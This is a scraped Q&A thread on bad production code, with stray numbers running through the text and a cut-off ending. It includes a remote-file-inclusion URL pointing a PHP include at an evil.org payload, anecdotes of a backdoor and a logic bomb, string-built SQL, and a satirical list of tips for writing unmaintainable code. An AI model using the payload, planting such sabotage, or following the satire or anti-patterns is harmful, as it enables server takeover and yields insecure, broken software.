[ACCEPTED]-What is the most EVIL code you have ever seen in a production enterprise environment?-anti-patterns

Accepted answer
Score: 331

Warning: Long scary post ahead

I've written about one application I've 119 worked on before here and here. To put it simply, my 118 company inherited 130,000 lines of garbage 117 from India. The application was written 116 in C#; it was a teller app, the same kind 115 of software tellers use behind the counter 114 whenever you go to the bank. The app crashed 113 40-50 times a day, and it simply couldn't 112 be refactored into working code. My company 111 had to re-write the entire app over the 110 course of 12 months.

Why is this application 109 evil? Because the sight of the source code 108 was enough to drive a sane man mad and a 107 mad man sane. The twisted logic used to 106 write this application could have only been 105 inspired by a Lovecraftian nightmare. Unique 104 features of this application included:

  • Out 103 of 130,000 lines of code, the entire application 102 contained 5 classes (excluding form files). All 101 of these were public static classes. One 100 class was called Globals.cs, which contained 99 1000s and 1000s and 1000s of public static 98 variables used to hold the entire state 97 of the application. Those five classes contained 96 20,000 lines of code total, with the remaining 95 code embedded in the forms.

  • You have to wonder, how 94 did the programmers manage to write such 93 a big application without any classes? What 92 did they use to represent their data objects? It 91 turns out the programmers managed to re-invent 90 half of the concepts we all learned about 89 OOP simply by combining ArrayLists, HashTables, and 88 DataTables. We saw a lot of this:

    • ArrayLists of hashtables
    • Hashtables with string keys and DataRow values
    • ArrayLists of DataTables
    • DataRows containing ArrayLists which contained HashTables
    • ArrayLists of DataRows
    • ArrayLists of ArrayLists
    • HashTables with string keys and HashTable values
    • ArrayLists of ArrayLists of HashTables
    • Every other combination of ArrayLists, HashTables, DataTables you can think of.

    Keep in 87 mind, none of the data structures above 86 are strongly typed, so you have to cast 85 whatever mystery object you get out of the 84 list to the correct type. It's amazing what 83 kind of complex, Rube Goldberg-like data 82 structures you can create using just ArrayLists, HashTables, and 81 DataTables.

  • To share an example of how to 80 use the object model detailed above, consider 79 Accounts: the original programmer created 78 a seperate HashTable for each concievable 77 property of an account: a HashTable called 76 hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. The 75 keys for all of those hashtables was a “|” separated 74 string. Conceivable keys included “123456|DDA”, “24100|SVG”, “100|LNS”, etc.

  • Since 73 the state of the entire application was 72 readily accessible from global variables, the 71 programmers found it unnecessary to pass 70 parameters to methods. I'd say 90% of methods 69 took 0 parameters. Of the few which did, all 68 parameters were passed as strings for convenience, regardless 67 of what the string represented.

  • Side-effect 66 free functions did not exist. Every method 65 modified 1 or more variables in the Globals 64 class. Not all side-effects made sense; for 63 example, one of the form validation methods 62 had a mysterious side effect of calculating 61 over and short payments on loans for whatever 60 account was stored Globals.lngAcctNum.

  • Although 59 there were lots of forms, there was one 58 form to rule them all: frmMain.cs, which 57 contained a whopping 20,000 lines of code. What 56 did frmMain do? Everything. It looked up 55 accounts, printed receipts, dispensed cash, it 54 did everything.

    Sometimes other forms needed 53 to call methods on frmMain. Rather than 52 factor that code out of the form into a 51 seperate class, why not just invoke the 50 code directly:

    ((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
    
  • To look up accounts, the programmers 49 did something like this:

    bool blnAccountExists =
        new frmAccounts().GetAccountInfo().blnAccountExists
    

    As bad as it already 48 is creating an invisible form to perform 47 business logic, how do you think the form 46 knew which account to look up? That’s easy: the 45 form could access Globals.lngAcctNum and 44 Globals.strAcctType. (Who doesn't love Hungarian 43 notation?)

  • Code-reuse was a synonym for 42 ctrl-c, ctrl-v. I found 200-line methods 41 copy/pasted across 20 forms.

  • The application 40 had a bizarre threading model, something 39 I like to call the thread-and-timer model: each 38 form that spawned a thread had a timer on 37 it. Each thread that was spawned kicked 36 off a timer which had a 200 ms delay; once 35 the timer started, it would check to see 34 if the thread had set some magic boolean, then 33 it would abort the thread. The resulting 32 ThreadAbortException was swallowed.

    You'd 31 think you'd only see this pattern once, but 30 I found it in at least 10 different places.

  • Speaking 29 of threads, the keyword "lock" never 28 appeared in the application. Threads manipulated 27 global state freely without taking a lock.

  • Every 26 method in the application contained a try/catch 25 block. Every exception was logged and swallowed.

  • Who 24 needs to switch on enums when switching 23 on strings is just as easy!

  • Some genius figured 22 out that you can hook multiple form controls 21 up to the same event handler. How did the 20 programmer handle this?

    private void OperationButton_Click(object sender, EventArgs e)
    {
        Button btn = (Button)sender;
        if (blnModeIsAddMc)
        {
            AddMcOperationKeyPress(btn);
        }
        else
        {
            string strToBeAppendedLater = string.Empty;
            if (btn.Name != "btnBS")
            {
                UpdateText();
            }
            if (txtEdit.Text.Trim() != "Error")
            {
                SaveFormState();
            }
            switch (btn.Name)
            {
                case "btnC":
                    ResetValues();
                    break;
                case "btnCE":
                    txtEdit.Text = "0";
                    break;
                case "btnBS":
                    if (!blnStartedNew)
                    {
                        string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
                        DisplayValue((EditText == string.Empty) ? "0" : EditText);
                    }
                    break;
                case "btnPercent":
                    blnAfterOp = true;
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
                        decCurrValue = decResultValue * decCurrValue / intFormatFactor;
                        DisplayValue(GetValueString(decCurrValue));
                        AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
                        strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
                                                    + strOpPressed.PadRight(3);
                        if (arrLstTapeHist.Count == 0)
                        {
                            arrLstTapeHist.Add(strToBeAppendedLater);
                        }
                        blnEqualOccurred = false;
                        blnStartedNew = true;
                    }
                    break;
                case "btnAdd":
                case "btnSubtract":
                case "btnMultiply":
                case "btnDivide":
                    blnAfterOp = true;
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        btnC.PerformClick();
                        return;
                    }
                    if (blnNumPressed || blnEqualOccurred)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (Operation())
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue("Error");
                            }
                            strOpPressed = btn.Text;
                            blnEqualOccurred = false;
                            blnNumPressed = false;
                        }
                    }
                    else
                    {
                        strOpPressed = btn.Text;
                        AddToTape(GetValueString(0), (string)btn.Text, false, false);
                    }
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        AddToTape("Error", string.Empty, true, true);
                        btnC.PerformClick();
                        txtEdit.Text = "Error";
                    }
                    break;
                case "btnEqual":
                    blnAfterOp = false;
                    if (strOpPressed != string.Empty || strPrevOp != string.Empty)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (OperationEqual())
                            {
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                DisplayValue("Error");
                            }
                            if (!blnEqualOccurred)
                            {
                                strPrevOp = strOpPressed;
                                decHistValue = decCurrValue;
                                blnNumPressed = false;
                                blnEqualOccurred = true;
                            }
                            strOpPressed = string.Empty;
                        }
                    }
                    break;
                case "btnSign":
                    GetValueDecimal(txtEdit.Text, out decCurrValue);
                    DisplayValue(GetValueString(-1 * decCurrValue));
                    break;
            }
        }
    }
    
  • The same genius also 19 discovered the glorious ternary operator. Here 18 are some code samples:

    frmTranHist.cs [line 812]:

    strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
                        : chkDebits.Checked ? "D"
                            : chkCredits.Checked ? "C"
                                : "N";
    

    frmTellTransHist.cs [line 961]:

    if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
    

    frmMain.TellCash.cs [line 727]:

    if (Validations(parPostMode == "ADD" ? true : false))
    
  • Here's a code snippet 17 which demonstrates the typical misuse of 16 the StringBuilder. Note how the programmer 15 concats a string in a loop, then appends 14 the resulting string to the StringBuilder:

    private string CreateGridString()
    {
        string strTemp = string.Empty;
        StringBuilder strBuild = new StringBuilder();
        foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
        {
            strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
            strTemp += "  ";
            strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
            strTemp += "  ";
            strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
            strBuild.AppendLine(strTemp);
        }
        strCreateGridString = strBuild.ToString();
        return strCreateGridString;//strBuild.ToString();
    }
    
  • No 13 primary keys, indexes, or foreign key constraints 12 existed on tables, nearly all fields were 11 of type varchar(50), and 100% of fields 10 were nullable. Interestingly, bit fields 9 were not used to store boolean data; instead 8 a char(1) field was used, and the characters 7 'Y' and 'N' used to represent true and false 6 respectively.

    • Speaking of the database, here's 5 a representative example of a stored procedure:

      ALTER PROCEDURE [dbo].[Get_TransHist]
       ( 
            @TellerID   int = null,
            @CashDrawer int = null,
            @AcctNum    bigint = null,
            @StartDate  datetime = null,
            @EndDate    datetime = null,
            @StartTranAmt     decimal(18,2) = null,
            @EndTranAmt decimal(18,2) = null,
            @TranCode   int = null,
            @TranType   int = null
       )
      AS 
            declare @WhereCond Varchar(1000)
            declare @strQuery Varchar(2000)
            Set @WhereCond = ' '
            Set @strQuery = ' '
            If not @TellerID is null
                  Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
            If not @CashDrawer is null
                  Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
            If not @AcctNum is null
                  Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
            If not @StartDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
            If not @EndDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
            If not @TranCode is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
            If not @EndTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
            If not @StartTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
            If not (@TranType is null or @TranType = -1)
                  Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
            --Get the Teller Transaction Records according to the filters
            Set @strQuery = 'SELECT 
                  TT.TranAmt as [Transaction Amount], 
                  TT.TranCode as [Transaction Code],
                  RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
                  TT.AcctNbr as [Account Number],
                  TT.TranID as [Transaction Number],
                  Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
                  Convert(varchar,TT.EffDate,101) as [Effective Date],
                  Convert(varchar,TT.PostDate,101) as [Post Date],
                  Convert(varchar,TT.ActivityDateTime,108) as [Time],
                  TT.BatchID,
                  TT.ItemID,
                  isnull(TT.DocumentID, 0) as DocumentID,
                  TT.TellerName,
                  TT.CDId,
                  TT.ChkNbr,
                  RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
                  (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
                  DispensedYN
            FROM TellerTrans TT WITH (NOLOCK)
            LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
            WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'    
            Exec (@strQuery)
      

With 4 all that said, the single biggest problem 3 with this 130,000 line application this: no 2 unit tests.

Yes, I have sent this story to 1 TheDailyWTF, and then I quit my job.

Score: 70

I've seen a password encryption function 1 like this

function EncryptPassword($password)
{
    return base64_encode($password);
}
Score: 69

In a system which took credit card payments 5 we used to store the full credit card number 4 along with name, expiration date etc.

Turns 3 out this is illegal, which is ironic given 2 the we were writing the program for the 1 Justice Department at the time.

Score: 30

This was the error handling routine in a 2 piece of commercial code:

/* FIXME! */
while (TRUE)
    ;

I was supposed 1 to find out why "the app keeps locking up".

Score: 28

In the main project header file, from an 4 old-hand COBOL programmer, who was inexplicably 3 writing a compiler in C:

int i, j, k;

"So you won't get 2 a compiler error if you forget to declare 1 your loop variables."

Score: 28

Combination of all of the following Php 42 'Features' at once.

  1. Register Globals
  2. Variable Variables
  3. Inclusion of remote files and code via include("http:// ... ");
  4. Really Horrific Array/Variable 41 names ( Literal example ):

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    ( I literally 40 spent an hour trying to work out how that 39 worked before I realised they wern't the same 38 variable )

  5. Include 50 files, which each include 37 50 files, and stuff is performed linearly/procedurally 36 across all 50 files in conditional and unpredictable 35 ways.

For those who don't know variable 34 variables:

$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;

Now consider $x contains a value 33 from your URL ( register globals magic 32 ), so nowhere in your code is it obvious 31 what variable your working with becuase 30 its all determined by the url.

Now consider 29 what happens when the contents of that variable 28 can be a url specified by the websites user. Yes, this 27 may not make sense to you, but it creates 26 a variable named that url, ie:

$http://google.com,

except 25 it cant be directly accessed, you have to 24 use it via the double $ technique above.

Additionally, when 23 its possible for a user to specify a variable 22 on the URL which indicates which file to 21 include, there are nasty tricks like

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

and 20 if that variable turns up in include($include)

and 'evilcode.php' prints 19 its code plaintext, and Php is inappropriately 18 secured, php will just trundle off, download 17 evilcode.php, and execute it as the user 16 of the web-server.

The web-sever will give 15 it all its permissions etc, permiting shell 14 calls, downloading arbitrary binaries and 13 running them, etc etc, until eventually 12 you wonder why you have a box running out 11 of disk space, and one dir has 8GB of pirated 10 movies with italian dubbing, being shared 9 on IRC via a bot.

I'm just thankful I discovered 8 that atrocity before the script running 7 the attack decided to do something really 6 dangerous like harvest extremely confidential 5 information from the more or less unsecured 4 database :|

( I could entertain the dailywtf 3 every day for 6 months with that codebase, I 2 kid you not. Its just a shame I discovered 1 the dailywtf after I escaped that code )

Score: 25

The Windows installer.

0

Score: 20

This article How to Write Unmaintainable Code covers some of the most brilliant 233 techniques known to man. Some of my favorite 232 ones are:


New Uses For Names For Baby

Buy a copy of a baby naming book 231 and you'll never be at a loss for variable 230 names. Fred is a wonderful name, and easy 229 to type. If you're looking for easy-to-type 228 variable names, try adsf or aoeu if you 227 type with a DSK keyboard.

Creative Miss-spelling

If you must use 226 descriptive variable and function names, misspell 225 them. By misspelling in some function and 224 variable names, and spelling it correctly 223 in others (such as SetPintleOpening SetPintalClosing) we 222 effectively negate the use of grep or IDE 221 search techniques. It works amazingly well. Add 220 an international flavor by spelling tory 219 or tori in different theatres/theaters.

Be Abstract

In 218 naming functions and variables, make heavy 217 use of abstract words like it, everything, data, handle, stuff, do, routine, perform 216 and the digits e.g. routineX48, PerformDataFunction, DoIt, HandleStuff 215 and do_args_method.

CapiTaliSaTion

Randomly capitalize the 214 first letter of a syllable in the middle 213 of a word. For example ComputeRasterHistoGram().

Lower Case l Looks a Lot Like the Digit 1

Use 212 lower case l to indicate long constants. e.g. 10l 211 is more likely to be mistaken for 101 that 210 10L is. Ban any fonts that clearly disambiguate 209 uvw wW gq9 2z 5s il17|!j oO08 `'" ;,. m 208 nn rn {[()]}. Be creative.

Recycle Your Variables

Wherever scope 207 rules permit, reuse existing unrelated variable 206 names. Similarly, use the same temporary 205 variable for two unrelated purposes (purporting 204 to save stack slots). For a fiendish variant, morph 203 the variable, for example, assign a value 202 to a variable at the top of a very long 201 method, and then somewhere in the middle, change 200 the meaning of the variable in a subtle 199 way, such as converting it from a 0-based 198 coordinate to a 1-based coordinate. Be certain 197 not to document this change in meaning.

Cd wrttn wtht vwls s mch trsr

When 196 using abbreviations inside variable or method 195 names, break the boredom with several variants 194 for the same word, and even spell it out 193 longhand once in while. This helps defeat 192 those lazy bums who use text search to understand 191 only some aspect of your program. Consider 190 variant spellings as a variant on the ploy, e.g. mixing 189 International colour, with American color 188 and dude-speak kulerz. If you spell out 187 names in full, there is only one possible 186 way to spell each name. These are too easy 185 for the maintenance programmer to remember. Because 184 there are so many different ways to abbreviate 183 a word, with abbreviations, you can have 182 several different variables that all have 181 the same apparent purpose. As an added bonus, the 180 maintenance programmer might not even notice 179 they are separate variables.

Obscure film references

Use constant 178 names like LancelotsFavouriteColour instead 177 of blue and assign it hex value of $0204FB. The 176 color looks identical to pure blue on the 175 screen, and a maintenance programmer would 174 have to work out 0204FB (or use some graphic 173 tool) to know what it looks like. Only someone 172 intimately familiar with Monty Python and 171 the Holy Grail would know that Lancelot's 170 favorite color was blue. If a maintenance 169 programmer can't quote entire Monty Python 168 movies from memory, he or she has no business 167 being a programmer.

Document the obvious

Pepper the code with 166 comments like /* add 1 to i */ however, never 165 document wooly stuff like the overall purpose 164 of the package or method.

Document How Not Why

Document only the 163 details of what a program does, not what 162 it is attempting to accomplish. That way, if 161 there is a bug, the fixer will have no clue 160 what the code should be doing.

Side Effects

In C, functions 159 are supposed to be idempotent, (without 158 side effects). I hope that hint is sufficient.

Use Octal

Smuggle 157 octal literals into a list of decimal numbers 156 like this:

array = new int []
{ 
111, 
120, 
013, 
121, 
};

Extended ASCII

Extended ASCII characters are 155 perfectly valid as variable names, including 154 ß, Ð, and ñ characters. They are almost 153 impossible to type without copying/pasting 152 in a simple text editor.

Names From Other Languages

Use foreign language 151 dictionaries as a source for variable names. For 150 example, use the German punkt for point. Maintenance 149 coders, without your firm grasp of German, will 148 enjoy the multicultural experience of deciphering 147 the meaning.

Names From Mathematics

Choose variable names that masquerade 146 as mathematical operators, e.g.:

openParen = (slash + asterix) / equals;

Code That Masquerades As Comments and Vice Versa

Include 145 sections of code that is commented out but 144 at first glance does not appear to be.

for(j=0; j<array_len; j+ =8)
{ 
total += array[j+0 ]; 
total += array[j+1 ]; 
total += array[j+2 ]; /* Main body of 
total += array[j+3];   * loop is unrolled 
total += array[j+4];   * for greater speed. 
total += array[j+5];   */ 
total += array[j+6 ]; 
total += array[j+7 ]; 
}

Without 143 the colour coding would you notice that 142 three lines of code are commented out?

Arbitrary Names That Masquerade as Keywords

When 141 documenting, and you need an arbitrary name 140 to represent a filename use "file ". Never 139 use an obviously arbitrary name like "Charlie.dat" or 138 "Frodo.txt". In general, in your 137 examples, use arbitrary names that sound 136 as much like reserved keywords as possible. For 135 example, good names for parameters or variables 134 would be"bank", "blank", "class", "const 133 ", "constant", "input", "key", "keyword", "kind", "output", "parameter" "parm", "system", "type", "value", "var" and 132 "variable ". If you use actual 131 reserved words for your arbitrary names, which 130 would be rejected by your command processor 129 or compiler, so much the better. If you 128 do this well, the users will be hopelessly 127 confused between reserved keywords and arbitrary 126 names in your example, but you can look 125 innocent, claiming you did it to help them 124 associate the appropriate purpose with each 123 variable.

Code Names Must Not Match Screen Names

Choose your variable names to have 122 absolutely no relation to the labels used 121 when such variables are displayed on the 120 screen. E.g. on the screen label the field 119 "Postal Code" but in the code 118 call the associated variable "zip".

Choosing The Best Overload Operator

In 117 C++, overload +,-,*,/ to do things totally 116 unrelated to addition, subtraction etc. After 115 all, if the Stroustroup can use the shift 114 operator to do I/O, why should you not be 113 equally creative? If you overload +, make 112 sure you do it in a way that i = i + 5; has 111 a totally different meaning from i += 5; Here 110 is an example of elevating overloading operator 109 obfuscation to a high art. Overload the 108 '!' operator for a class, but have the overload 107 have nothing to do with inverting or negating. Make 106 it return an integer. Then, in order to 105 get a logical value for it, you must use 104 '! !'. However, this inverts the logic, so 103 [drum roll] you must use '! ! !'. Don't 102 confuse the ! operator, which returns a 101 boolean 0 or 1, with the ~ bitwise logical 100 negation operator.

Exceptions

I am going to let you 99 in on a little-known coding secret. Exceptions 98 are a pain in the behind. Properly-written 97 code never fails, so exceptions are actually 96 unnecessary. Don't waste time on them. Subclassing 95 exceptions is for incompetents who know 94 their code will fail. You can greatly simplify 93 your program by having only a single try/catch 92 in the entire application (in main) that 91 calls System.exit(). Just stick a perfectly 90 standard set of throws on every method header 89 whether they could actually throw any exceptions 88 or not.

Magic Matrix Locations

Use special values in certain matrix 87 locations as flags. A good choice is the 86 [3][0] element in a transformation matrix 85 used with a homogeneous coordinate system.

Magic Array Slots revisited

If 84 you need several variables of a given type, just 83 define an array of them, then access them 82 by number. Pick a numbering convention that 81 only you know and don't document it. And 80 don't bother to define #define constants 79 for the indexes. Everybody should just know 78 that the global variable widget[15] is the 77 cancel button. This is just an up-to-date 76 variant on using absolute numerical addresses 75 in assembler code.

Never Beautify

Never use an automated 74 source code tidier (beautifier) to keep 73 your code aligned. Lobby to have them banned 72 them from your company on the grounds they 71 create false deltas in PVCS/CVS (version 70 control tracking) or that every programmer 69 should have his own indenting style held 68 forever sacrosanct for any module he wrote. Insist 67 that other programmers observe those idiosyncratic 66 conventions in "his " modules. Banning 65 beautifiers is quite easy, even though they 64 save the millions of keystrokes doing manual 63 alignment and days wasted misinterpreting 62 poorly aligned code. Just insist that everyone 61 use the same tidied format, not just for 60 storing in the common repository, but also 59 while they are editing. This starts an RWAR 58 and the boss, to keep the peace, will ban 57 automated tidying. Without automated tidying, you 56 are now free to accidentally misalign the 55 code to give the optical illusion that bodies 54 of loops and ifs are longer or shorter than 53 they really are, or that else clauses match 52 a different if than they really do. e.g.

if(a)
  if(b) x=y;
else x=z;

Testing is for cowards

A 51 brave coder will bypass that step. Too many 50 programmers are afraid of their boss, afraid 49 of losing their job, afraid of customer 48 hate mail and afraid of being sued. This 47 fear paralyzes action, and reduces productivity. Studies 46 have shown that eliminating the test phase 45 means that managers can set ship dates well 44 in advance, an obvious aid in the planning 43 process. With fear gone, innovation and 42 experimentation can blossom. The role of 41 the programmer is to produce code, and debugging 40 can be done by a cooperative effort on the 39 part of the help desk and the legacy maintenance 38 group.

If we have full confidence in our 37 coding ability, then testing will be unnecessary. If 36 we look at this logically, then any fool 35 can recognise that testing does not even 34 attempt to solve a technical problem, rather, this 33 is a problem of emotional confidence. A 32 more efficient solution to this lack of 31 confidence issue is to eliminate testing 30 completely and send our programmers to self-esteem 29 courses. After all, if we choose to do testing, then 28 we have to test every program change, but 27 we only need to send the programmers to 26 one course on building self-esteem. The 25 cost benefit is as amazing as it is obvious.

Reverse the Usual True False Convention

Reverse 24 the usual definitions of true and false. Sounds 23 very obvious but it works great. You can 22 hide:

#define TRUE 0 
#define FALSE 1

somewhere deep in the code so that 21 it is dredged up from the bowels of the 20 program from some file that noone ever looks 19 at anymore. Then force the program to do 18 comparisons like:

if ( var == TRUE )
if ( var != FALSE )

someone is bound to "correct" the 17 apparent redundancy, and use var elsewhere 16 in the usual way:

if ( var )

Another technique is to 15 make TRUE and FALSE have the same value, though 14 most would consider that out and out cheating. Using 13 values 1 and 2 or -1 and 0 is a more subtle 12 way to trip people up and still look respectable. You 11 can use this same technique in Java by defining 10 a static constant called TRUE. Programmers 9 might be more suspicious you are up to no 8 good since there is a built-in literal true 7 in Java.

Exploit Schizophrenia

Java is schizophrenic about array 6 declarations. You can do them the old C, way 5 String x[], (which uses mixed pre-postfix 4 notation) or the new way String[] x, which 3 uses pure prefix notation. If you want to 2 really confuse people, mix the notationse.g.

byte[ ] rowvector, colvector , matrix[ ];

which 1 is equivalent to:

byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;
Score: 19

I don't know if I'd call the code "evil", but 2 we had a developer who would create Object[] arrays 1 instead of writing classes. Everywhere.

Score: 18

I have seen (and posted to thedailywtf) code 5 that will give everyone to have administrator 4 rights in significant part of an application 3 on Tuesdays. I guess the original developer 2 forgot to remove the code after local machine 1 testing.

Score: 16

I don't know if this is "evil" so much as 6 misguided (I recently posted it on The Old 5 New Thing):

I knew one guy who loved to store 4 information as delimited strings. He was 3 familiar with the concept of arrays, as 2 shown when he used arrays of delimited strings, but 1 the light bulb never lit up.

Score: 15

Base 36 encoding to store ints in strings.

I 7 guess the theory goes somewhat along the 6 lines of:

  • Hexadecimal is used to represent numbers
  • Hexadecimal doesnt use letters beyond F, meaning G-Z are wasted
  • Waste is bad

At this moment I am working with 5 a database that is storing the days of the 4 week that an event can happen on as a 7-bit 3 bitfield (0-127), stored in the database 2 as a 2-character string ranging from '0' to 1 '3J'.

Score: 14

I remember seeing a login handler that took 6 a post request, and redirected to a GET 5 with the user name and password passed in 4 as parameters. This was for an "enterprise 3 class" medical system.

I noticed this while 2 checking some logs - I was very tempted 1 to send the CEO his password.

Score: 12

Really evil was this piece of brilliant 6 delphi code:

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

It worked great if there was 5 only one instance of a class. But unfortunately 4 I had to use an other instance and that 3 created lots of interesting bugs.

When I 2 found this jewel, I can't remember if I 1 fainted or screamed, probably both.

Score: 12

Maybe not evil, but certainly rather, um... misguided.

I 3 once had to rewrite a "natural language 2 parser" that was implemented as a single 1 5,000 line if...then statement.

as in...

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...
Score: 11

I saw code in an ASP.NET MVC site from a 6 guy who had only done web forms before (and 5 is a renowned copy/paster!) that stuck a 4 client side click event on an <a> tag that 3 called a javascript method that did a document.location.

I 2 tried to explain that a href on the <a> tag would 1 do the same!!!

Score: 10

A little evil...someone I know wrote into 13 the main internal company web app, a daily 12 check to see if he has logged into the system 11 in the past 10 days. If there's no record 10 of him logged in, it disables the app for 9 everyone in the company.

He wrote the piece 8 once he heard rumors of layoffs, and if 7 he was going down, the company would have 6 to suffer.

The only reason I knew about it, is 5 that he took a 2 week vacation & I called 4 him when the site crapped out. He told me 3 to log on with his username/password...and 2 all was fine again.

Of course..months later 1 we all got laid off.

Score: 8

My colleague likes to recall that ASP.NET 4 application which used a public static database connection 3 for all database work.

Yes, one connection 2 for all requests. And no, there was no locking 1 done either.

Score: 6

I remember having to setup IIS 3 to run 5 Perl CGI scripts (yes, that was a looong 4 time ago). The official recommendation at 3 that time was to put Perl.exe in cgi-bin. It 2 worked, but it also gave everyone access to a pretty 1 powerful scripting engine!

Score: 5

We had an application that loaded all of 18 it's global state in an xml file. No problem 17 with that, except that the developer had 16 created a new form of recursion.

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

Then comes 15 the fun part. When the application loads, it 14 runs through the list of properties and 13 adds them to a global (flat) list, along 12 with incrementing a mystery counter. The 11 mystery counter is named something totally 10 irrelevant and is used in mystery calculations:

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

And 9 then you get functions like

calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}

edit: clarification 8 - Took me a long time to figure out that 7 he was counting the depth of the recursion, because 6 at level 6 or 7 the properties changed meaning, so 5 he was using the counter to split his flat 4 set into 2 sets of different types, kind 3 of like having a list of STATE, STATE, STATE, CITY, CITY, CITY 2 and checking if the index > counter to see 1 if your name is a city or state)

Score: 5

Any RFC 3514-compliant program which sets the evil bit.

0

Score: 5

SQL queries right there in javascript in 1 an ASP application. Can't get any dirtier...

Score: 4

Instead of writing a Windows service for 13 a server process that needed to run constantly 12 one of our "architects" wrote a console 11 app and used the task scheduler to run it 10 every 60 seconds.

Keep in mind this is in 9 .NET where services are very easy to create.

--

Also, at 8 the same place a console app was used to 7 host a .NET remoting service, so they had 6 to start the console app and lock a session 5 to keep it running every time the server 4 was rebooted.

--

At the last place I worked 3 one of the architects had a single C# source code 2 file with over 100 classes that was something 1 like 250K in size.

Score: 3

32 source code files with more then 10K 4 lines of code each. Each contained one class. Each 3 class contained one method that did "everything"

That 2 was real nightmare for debuging that code 1 before I had to refactor that.

Score: 3

At an earlier workplace, we inherited a 8 legacy project, which partially had been 7 outsorced earlier. The main app was Java, the 6 outsourced part was a native C library. Once 5 I had a look at the C source files. I listed 4 the contents of the directory. There were 3 several source files over 200K in size. The 2 biggest C file was 600 Kbytes.

Thank God I never had 1 to actually touch them :-)

Score: 3

I was given a set of programs to advance 48 while colleagues were abroad at a customer 47 (installing said programs). One key library 46 came up in every program, and trying to 45 figure out the code, I realised that there 44 were tiny differences from one program to 43 the next. In a common library.

Realising 42 this, I ran a text comparison of all copies. Out 41 of 16, I think there were about 9 unique 40 ones. I threw a bit of a fit.

The boss intervened 39 and had the colleagues collate a version 38 that was seemingly universal. They sent 37 the code by e-mail. Unknown to me, there 36 were strings with unprintable characters 35 in there, and some mixed encodings. The 34 e-mail garbled it pretty bad.

The unprintable 33 characters were used to send out data (all 32 strings!) from a server to a client. All 31 strings were thus separated by the 0x03 30 character on the server-side, and re-assembled 29 client-side in C# using the Split function.

The 28 somwehat sane way would have been to do:

someVariable.Split(Convert.ToChar(0x03);

The 27 saner and friendly way would have been to 26 use a constant:

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

The EVIL way was what my 25 colleagues chose: use whatever "prints" for 24 0x03 in Visual Studio and put that between 23 quotes:

